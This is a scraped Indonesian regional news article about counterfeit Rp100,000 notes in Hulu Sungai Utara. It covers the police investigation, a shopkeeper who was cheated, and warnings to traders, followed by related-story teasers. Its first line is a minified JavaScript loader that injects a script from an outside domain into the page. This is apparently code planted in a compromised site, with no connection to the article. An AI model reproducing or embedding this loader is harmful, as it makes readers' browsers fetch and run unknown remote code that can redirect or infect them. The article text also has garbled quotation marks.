(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Setelah dibuat resah dengan beredarnya uang palsu di wilayah Kabupaten Hulu Sungai Utara (HSU) beberapa pekan terakhir, Kepolisian Polres HSU mulai menemukan titik terang atas kasus ini.
Meski sudah mengantongi beberapa alat bukti, sampai saat ini polisi masih kesulitan melacak pelaku. Lantaran pelaku sudah mulai curiga dan diperkirakan mulai keluar dari wilayah HSU.
“Sudah ada kami telusuri dari CCTV, pelakunya memakai penutup wajah, dan kami telusuri juga dari tangan ke tangan, pelaku jual beli berpindah-pindah, dan ada yang disewakan, kami masih kesulitan karena putus dari tangan ketiga, sebab pelaku sudah pindah dari Amuntai,†ujar Kapolres HSU melalui Kasat Reskrim Polres HSU Iptu Kamarudin kepada Kanal Kalimantan.com, Sabtu (31/8).
Lebih lanjut, untuk sementara ini pihaknya akan mencoba koordinasikan dengan kepolisian di kabupaten tetangga, agar masalah peredaran upal ini dapat ditelusuri lebih lanjut. “Siapa tahu ada kesamaan modus pakai wanita berhijab,†ujarnya.
Selain itu, dirinya juga mengimbau agar masyarakat lebih hati-hati dalam menerima uang, terlebih pasca terjadinya kasus temuan uang palsu yang dibelanjakan seorang ibu yang membawa anak kecil di sebuah kios di desa Pekapuran, Kecamantan Amuntai Utara.
Oleh karenanya, Polres HSU mengajak masyarakat bekerjasama dengan pihak kepolisian membantu memutus mata rantai peredaran uang palsu ini, dengan melaporkannya apabila menemukan uang palsu yang digunakan oleh pelaku.
“Saya sampaikan pada masyarakat, keluarga polisi atau ibu-ibu Bhayangkari yang mempunyai warung kalau ada menemui pelaku, supaya menahan pelaku diajak ngobrol terlebih dulu sambil hubungi petugas,†pesannya.
Untuk saat ini, pihaknya sudah mengantongi beberapa alat bukti diantaranya yang ditemukan dari korban pemilik kios Hj Norhayati di jalan Rakha Desa Pekapuran RT 02 -depan gang Suka Damai- Kecamatan Amuntai Utara yang menerima uang palsu dari pembeli pada Rabu (14/8) lalu.
Dari informasi, Toko Dyta milik korban kedatangan pembeli seorang Ibu mengendarai motor matic membawa anaknya. Diduga si ibu membawa anak kecil sekedar modus saja untuk mengelabui pemilik kios.
Karena menyangka pembelinya hanya seorang Ibu rumah tangga, maka pemilik toko Hj Norhayati sama sekali tidak curiga, sehingga tidak memeriksa dengan teliti uang kertas Rp100 ribu yang diterima saat transaksi jual beli berlangsung.
“Atas kejadian ini setidaknya pedagang warung kios lebih hati-hati, jangan terkecoh periksa uang kertas yang diterima, apalagi jika nominalnya cukup besar, tapi jangan juga setiap pembeli yang bawa anak dicurigai, intinya hati-hati aja,†pesan Kamarudin.
Sementara ditemui terpisah sebelumnya pemilik kios Noorhayati mengaku tidak menyangka jika uang kertas rupiah dengan nominal Rp100 ribu yang diterimanya ternyata uang palsu.
Hj Norhayati baru sadar setelah si ibu bersama anak itu pergi, karena setelah uang kertas diraba terasa licin dan tidak memiliki tekstur yang kasar sebagaimana uang kertas asli.
“Saya temui ibu pembeli itu menggukan helm, masker wajah, sempat membuka maskernya namun saya tidak begitu kenal, ia pakai motor Scoopy, anaknya perempuan berambut agak keriting, saya tidak menyangka beli pakai uang palsu,†pungkasnya. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.